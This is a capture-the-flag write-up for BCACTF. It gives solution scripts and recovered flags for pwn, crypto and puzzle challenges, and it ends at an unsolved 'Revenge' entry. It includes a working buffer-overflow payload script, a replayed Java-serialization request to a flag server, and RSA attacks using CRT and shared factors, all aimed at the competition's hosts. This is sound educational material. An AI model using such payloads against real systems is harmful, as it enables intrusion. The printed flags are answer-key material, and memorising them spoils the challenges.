Decompile and look, just need to put things in the right places.
from pwn import*# Connect to the remote servicehost ="challs.bcactf.com"port =32101conn =remote(host, port)# Create the payloadpayload =b'A'*73payload +=b'canary'payload +=b'\x00\x00'payload +=b'FLAG'.ljust(8, b'\x00')# Send the payloadconn.sendlineafter("Enter a string: ", payload)# Receive the responseresponse = conn.recvall()print(response.decode())#[+] Opening connection to challs.bcactf.com on port 32101: Done#[+] Receiving all data: Done (42B)#[*] Closed connection to challs.bcactf.com port 32101#Flag: bcactf{s1mple_CANaRY_9b36bd9f3fd2f}
Juggler 1 (92 solves)
Description:
My friend here has got some issues... Mainly, he can't stop juggling.
P.S Dockerfile is provided but not necessary for Juggler
Hint: He told me he was only good at juggling small words
Netcat Links:nc challs.bcactf.com 32250
Solution:
Spam it with garbage, get the flag.
Pwnage (176 solves)
Description:
It's either a bug, a hack, an exploit, or it's pwnage.
Let this challenge stand as one of the first of many stairs to mastery over that which can only be described as pwn.
Basically need to just guess a stack offset, guessed 0x10 off then 0x20 off and got it.
Crypto
Time Skip (297 solves)
Description:
One of our problem writers got sent back in time! We found a piece a very very old piece of parchment where he disappeared, alongside a long cylinder. See if you can uncover his flag!
Ignore the silly science, but perhaps he wanted to mimic encryption methods of his new time.
Solution:
Google "old cipher cylinder" first result is Scytale wiki. On to dcode.
Cha-Cha Slide (125 solves)
Description:
I made this cool service that lets you protect your secrets with state-of-the-art encryption. It's so secure that we don't even tell you the key we used to encrypt your message!
We can run it as many times as we want but we only need 3 sets of data. Using CRT:
from Crypto.Util.number import long_to_bytesfrom sympy.ntheory.modular import crtfrom gmpy2 import iroot# Given ciphertext and modulus pairspairs = [ (27103010174271472861051706874886615840444379989972162570725489819751234961995582124578431634602428817625887870176162703741458077169366173426315322895480489370678533843281920476051789528477905816643757959921523349468472293705018452507392596899261140807662895351041963518234252833749119529970349259551907610047,
141941061149431225909447501248397042743729155760933456250570579244288760033019008962020680907400261235105998419984814946029006488769373433950418645849100405261392310745556350128975979135225980653800180086441825657950665067012472437820905137722768618316467228112651886841947751132954217638427584998957691161543),
(87004949322535581002845528283231609435043822518577856219269530157861507832047746385930333124660438150297622341510182560300266612825341538429711950152346935939980781729973969899169529798977322096907501140438066881388903956013367025716567268766872089980432819555001256460775713597503849693683075281035946910805,
164854415395195002860687410205812008596168380618683194991865599071902230943582675566040079405276465895686691564574205042927515509958944080979432379788978959976857787977097682654144889975725126158176862536468249471221382327118605263290096475812329070981479641583303884910722672628326426001535265046184644734177),
(83155564799958326074880616045095533753489723920953050107120240226917503722018495606341715610875627752729252097031038931415197521240585226475667327656291523531031314388427603780715088951415652201010890442676474263769772551485968315688322603351142769621763428831089566462622943481253975668040565669538195947608,
91622711695775483202371027920947490429472842004062163788214691941135437813948805097348422438049023164131639966675865485748980904140965225717567674548812454134942698796779973935852163403930992789324152880046715985741825285659813990968232578539971443433412470004989280921473688848325996598686172455732255695369)
]# Separate ciphertexts and modulic_values, n_values =zip(*pairs)# Apply CRT to find combined modulus and valuecrt_value, crt_modulus =crt(n_values, c_values)# Compute the cube root of the CRT resultm_cubed = crt_value % crt_modulusm, exact =iroot(m_cubed, 3)# Convert the integer message back to bytesmessage =long_to_bytes(m)print("Decoded message:", message.decode('utf-8'))# Decoded message: bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}
Encryptor Shop (174 solves)
Description:
After realizing how insecure the systems of many companies are (they're always getting hacked), I decided to start offering Encryption as a Service (EaaS). With such a strong guarantee of security, I'll even give you the source code AND my encrypted super secret flag.
There's a lot of info in this challenge we don't need, solution is self explanatory.
from Crypto.Util.number import long_to_bytesfrom math import gcd# Given valuesn1 = 20046349873944205176423114443455689919669910795481350914626057084784218454972444164437519922639611988293310882518658786050151344878815796277827043279810580510114086986810944738481410150153418518145042227083952305858419728237186431516810574314177791955511057864270118882112562714389885135695325845034887428152577194786136631741752649636317046910624271139746239901843490149346254880759384029872965698576627008596767706526357092262568207131164128893294570124821029888194605727045625622179935996383919001893144222235252648145542768780147479448635060554265557876060562288573205708569951396893958798423743419449831849679703
n2 = 16434970135964003988139434495907623074623915350636969988786281825411133565722730304432740589037550628704987212370759314135720895493223571323170808308538042694687496332434441273093965513648297064578122146387468262905283296843437251431675048618790342476490402712290704768419586630590698635087606985925882174123304114238083655662014084638225032464353497609499464277177906008437489400454514041277523568684178566790355790654404998461838776405284274742673238076489611721077943860463950101091777924688713264134854377886327971030775111328814523481403041572941936263227914010368853137334940543326090790888857870532772145679829
e =65537# Encrypted flag valueflag_encrypted = 12339552846536087040879912645948500287607794336240492567779731046851528952834941805240683330768651536008545089628868346638124325562217740588228222591290194820508395407077625893039673374182075366452014399361448765459654844499631346896811068911338859627193230756708264479249829238083026010880370829549373905800823178875797446557019742579472229162257521778812978903494185000515696305560113298581564992727779353601136317925966691894790914752121144617810057710328491837869745962542073823980407529111032452806587917079691627421867347019865974395024445704612338911350208209300812172223497360641199348928783642293085110625052
# Find pp =gcd(n1, n2)# Calculate q and rq = n1 // pr = n2 // p# Calculate phi for the new modulus n2phi_n2 = (p -1) * (r -1)d =pow(e, -1, phi_n2)# Decrypt the flagflag_decrypted =pow(flag_encrypted, d, n2)flag =long_to_bytes(flag_decrypted).decode()print(f"Flag: {flag}")#Flag: bcactf{w0w_@lg3br@_d3in48uth934r}
Vinegar Times 3 (319 solves)
Description:
We can't speak French and just say what we see.
We also don't know what underscores are add them yourself.
put ONLY the final decrypted cipher in bcactf{}, no intermediate steps
key - vinegar
cipher 0 - mmqaonv
cipher 1 - seooizmt
cipher 2 - bdoloeinbdjmmyg <- THIS ONE
Solution:
Freebie, vigenere cipher with key being the decoded text of the previous stage. Before the flag format was clarified, it was a bit harder. bcactf{add_to_salad_yummy}
rad-be-damned (94 solves)
Description:
My friend seems to be communicating something but I can't make out anything. Why do we live so close to Chernobyl anyways?
that's a nice unanimous supreme court decision you've made public, sure would be a shame if someone didn't properly clean up remnants of a prior version of the document before publishing it
this is a real thing that happened that had real articles written about it
Solution:
Hidden in the text, not visible normally so convert pdf to txt.
ββ$ pdftotext 23-719_19m2.pdf
ββ$ grep -C2 ctf 23-719_19m2.txt 130 β¨―
Al_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}
b cactf{rE , KAGAN
SOTOMAYOR
, and JACKSON, JJ., concurring in judgment
flagserver (57 solves)
Description:
It looks like Ircus have been using a fully exposed application to access their flags! Look at this traffic I captured. I can't seem to get it to work, though... can you help me get the flag for this very challenge?
NOTE: During normal operation, directly connecting to flagserver using nc should give some nonprintable characters like οΏ½οΏ½. If instead you receive nothing, please let us know.
It looks like their server contains flags for two challenges - this one ("flagserver") and a decoy one.
Solution:
We can look at the pcapng to see the communication with the server, then we just replace the command (fakechall) with flagserver and copy the rest of the bytes used in the request command. One hiccup is that flagserver is 10 characters while fakechall is 9, and when we replace as is, we see the server only gets "flagserve". Luckily the byte right before the string is 0x09 which we can assume is a length field, so replace that with 0x0A and we win.
import socket# Server detailshost ='challs.bcactf.com'port =30134# Hex values to sendinitial_hex ="aced0005"additional_hex = ( "7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b"
"78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000""787074000A666c6167736572766572")# Convert hex to bytesinitial_bytes =bytes.fromhex(initial_hex)additional_bytes =bytes.fromhex(additional_hex)# Connect to the server and send the requestswith socket.socket(socket.AF_INET, socket.SOCK_STREAM)as s: s.connect((host, port))print(f"Connected to {host}:{port}")# Receive initial response initial_response = s.recv(1024)print(f"Initial response: {initial_response.hex()}")# Send the initial hex value s.sendall(initial_bytes)print(f"Sent: {initial_hex}")# Receive response#print(f"Received after sending initial hex: {response.hex()}")# Send the additional hex value s.sendall(additional_bytes)print(f"Sent additional data: {additional_hex}")# Receive the final response final_response = s.recv(1024)print(final_response)#Connected to challs.bcactf.com:30134#Initial response: aced0005#Sent: aced0005#Sent additional data: 7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000787074000A666c6167736572766572
#b'sr\x00\x1bflagserver.MessageStoC_Flag\xecI\xc1@]/\xe2\x0b\x02\x00\x01L\x00\x04flagt\x00\x12Ljava/lang/String;xr\x00\x12flagserver.Message\x90\xd2\x1c\xc7\x18\xe8\x9c\x16\x02\x00\x00xpt\x009bcactf{thankS_5OCK3ts_and_tHreADInG_clA5s_2f6fb44c998fd8}'
magic (131 solves)
Description:
I found this piece of paper on the floor. I was going to throw it away, but it somehow screamed at me while I was holding it?!
First we need to transcribe the notes, I forget what I used but it was some python package that used AI to convert to a midi file. Then, I ran this on the output.
import mido# Define the notes and their corresponding hexadecimal valuesNOTE_TO_HEX ={'C4':'0','D4':'1','E4':'2','F4':'3','G4':'4','A4':'5','B4':'6','C5':'7','D5':'8','E5':'9','F5':'A','G5':'B','A5':'C','B5':'D','C6':'E','D6':'F'}# MIDI note numbers to note namesNOTE_NAMES ={60:'C4',62:'D4',64:'E4',65:'F4',67:'G4',69:'A4',71:'B4',72:'C5',74:'D5',76:'E5',77:'F5',79:'G5',81:'A5',83:'B5',84:'C6',86:'D6'}defparse_midi_file(file_path): midi = mido.MidiFile(file_path) notes = []for track in midi.tracks:for msg in track:if msg.type =='note_on'and msg.velocity >0: note_number = msg.noteif note_number in NOTE_NAMES: note_name = NOTE_NAMES[note_number] notes.append(note_name)return notesdefnotes_to_hex(notes): hex_string =''.join(NOTE_TO_HEX[note] for note in notes if note in NOTE_TO_HEX)return hex_string# Read the MIDI filemidi_file ='out.mid'notes =parse_midi_file(midi_file)# Convert notes to hexadecimal stringhex_string =notes_to_hex(notes)print("Hexadecimal string:", hex_string)# Hexadecimal string: 0123456789ABCDEF6263616374667B60265617570469667560C5F6D656C6F64795F62656175746966756C5F6861726D6F6E7907
Output was still messed up so fixed manually in cyberchef, just some extra zeros.
Chalkboard Gag (383 solves)
Description:
Matt Groening sent me an unused chalkboard gag, he says there's something special inside of it.
There are some unique differences in some of the lines...
Solution:
Find/replace delete the string that repeats to isolate the unique lines. I just manually copied the flag from there.
I WILL NOT bE SNEAKYI WIcL NOT BE SNEAKYI WILL NOT BE SNEAKaI WcLL NOT BE SNEAKYI WILL NOT BE SNEAKtI WILL NOT Bf SNEAKYI {ILL NOT BE SNEAKYI WILL NOT BE SNEBKYI WILL NaT BE SNEAKYI WILL NOT BE SNRAKYI WILT NOT BE SNEAKYI WILL NOT _E SNEAKYI WILW NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNEUKYI WI1L NOT BE SNEAKYI WILL NOT BE SNEADYI W_LL NOT BE SNEAKYI WILL NOT BE SBEAKYI WILL NOT B3 SNEAKYI _ILL NOT BE SNEAKYI WILL NOT BE SNEPKYI WILR NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNuAKYI WIDL NOT BE SNEAKYI WILL NOT BE SNEAK}
Touch Tone Telephone (31 solves)
Description:
theres a demon inside of my head
now im unable to go to bed
i gave a shout
the phone rang out
and now theres just feelings of dread
i picked up the phone and i heard
a resounding cry from the herd
of phone systems cursed
and stuck with the curse
of button pressing till theyre dead
i heard the beeping with my ears
knowing it could solve all my fears
to find the demon
the lemon heathen
to wipe away ctf tears
DTMF is a really cool technologyThere also used to be A, B, C, and D menu selection keysHow many keys are there in total? Is it a computer science-y number?For key to number, Start at top left, reading order. (Sorry, 0 is not 0, my bad)
Solution:
Tried with online tools and got close but it really needed a custom solution since the last part is to decode from an arbitrary hex string which can't be corrected manually. Below is code to record the DTMF from the file, to convert the mapping, then to decode.
import numpy as npimport scipy.signalfrom pydub import AudioSegmentfrom pydub.playback import play# Define the DTMF frequenciesDTMF_FREQS ={'1': (697,1209),'2': (697,1336),'3': (697,1477),'A': (697,1633),'4': (770,1209),'5': (770,1336),'6': (770,1477),'B': (770,1633),'7': (852,1209),'8': (852,1336),'9': (852,1477),'C': (852,1633),'*': (941,1209),'0': (941,1336),'#': (941,1477),'D': (941,1633),}# Inverse map for quick lookupFREQ_PAIR_TO_KEY ={v: k for k, v in DTMF_FREQS.items()}# Load the audio fileaudio = AudioSegment.from_wav("output.wav")# Convert to monoaudio = audio.set_channels(1)# Convert to numpy arraysamples = np.array(audio.get_array_of_samples())# Define the sample ratesample_rate = audio.frame_rate# Define the window size (in samples)window_size =int(sample_rate *0.05)# 50ms windowstep_size =int(sample_rate *0.025)# 25ms step size# Initialize the detected tones stringdetected_tones =""# Function to detect DTMF tone in a window of samplesdefdetect_dtmf_tone(window):# Perform FFT freqs, times, Sx = scipy.signal.spectrogram(window, fs=sample_rate, window='hann', nperseg=512, noverlap=256, detrend=False, scaling='spectrum')
Sx = np.log10(Sx +1e-10)# Find peaks in the spectrum peak_indices = np.argsort(Sx.max(axis=1))[-2:] # Get two highest peaks peak_freqs =sorted(freqs[peak_indices])# Check if peaks correspond to DTMF frequenciesfor (f1, f2), key in FREQ_PAIR_TO_KEY.items():ifabs(f1 - peak_freqs[0])<20andabs(f2 - peak_freqs[1])<20:return keyreturnNone# Process the audio in windowsfor start inrange(0, len(samples) - window_size, step_size): window = samples[start:start + window_size] tone =detect_dtmf_tone(window)if tone: detected_tones += tonedefprocess_dtmf_output(dtmf_string):# Initialize the result string result =""# Initialize a counter for unmatched characters unmatched_counts ={}# Loop through the string i =0while i <len(dtmf_string):# Check if there are at least 3 characters leftif i +2<len(dtmf_string)and dtmf_string[i]== dtmf_string[i+1]== dtmf_string[i+2]:# If the next 3 characters are the same, add the character to the result result += dtmf_string[i]# Move the index by 3 i +=3elif i +1<len(dtmf_string)and dtmf_string[i]== dtmf_string[i+1]:# If the next 2 characters are the same, add the character to the result result += dtmf_string[i]# Move the index by 2 i +=2else:# Count remaining unmatched characters char = dtmf_string[i]if char notin unmatched_counts: unmatched_counts[char]=0 unmatched_counts[char]+=1# Move the index by 1 i +=1# Print warnings for unmatched charactersfor char, count in unmatched_counts.items():print(f"Warning: Character '{char}' only shows up {count} time(s).")return result# Process the outputprocessed_output =process_dtmf_output(detected_tones)print("Processed output:", processed_output)
# Define the mapping in a dictionarymapping ={'1':'0','2':'1','3':'2','A':'3','4':'4','5':'5','6':'6','B':'7','7':'8','8':'9','9':'A','C':'B','*':'C','0':'D','#':'E','D':'F'}# Given encoded messageencoded_message = "47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7A6A23#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7AA653#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A83#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A1623#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7A4A53#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1A33#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A1A23#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7AAA83#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1A43#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#19B7B16453655B45666#6DA443B4B653655547B7B5A7B443B36C6#B85567A2A3A7446D6*BA5B67A26DB9AB6A6#5544B86B48B76C4A48B4BBBAA1A5B64#A75A646C46B1545153B6564#556A5354B46D5AABB945556266AB4D4#48AA6#A155B456B5486*68A8436A5166B7454A586044485DA445AAB349425567584B56A8BB4D4648"
# Decode the messagedecoded_message =''.join(mapping.get(char, char) for char in encoded_message)print(decoded_message)# Put final part in cyberchef, then follow the instructions to create the last part
# Given indices in hexadecimalhex_indices = ["0x61","0x72","0x6c","0x38","0x2b","0x6f","0x3e","0x59","0x6c","0x38","0x19","0x6f","0x1d","0x72","0x0a","0x45","0x59","0x6f","0x6c","0x2e","0x6f","0x6c","0x26","0x2b","0x02","0x6f","0x01","0x26","0x72","0x53","0x39","0x04"]# The string to index intorandom_garbage = "xpdReWEfno4BtvReUHxu8tBrknyUh128DolsWh1oz7cnUDygIxkCItws05vN8SdkFpTPRvVNUcRTtoS7zEUaf7ONI3n0UtVuIli9BcPfxECYmDI_4E3rJAUhYGV9wOFI"
# Convert hex indices to decimaldecimal_indices = [int(hx, 16)for hx in hex_indices]# Extract characters from the random garbage stringflag =''.join(random_garbage[idx] for idx in decimal_indices)# Wrap the flag in the proper formatformatted_flag =f"BCACTF{{{flag}}}"print(formatted_flag)# BCACTF{l3m0n_d3m0n_134v3_my_m1nd_p13a5e}
Touch Tone Telephone (Revenge) (15 solves)
Description:
Well let's quickly patch out an unintended solvepath to the original challenge...
There, now go use your programming skills.
Even more of a headphone warning with this one, sorry.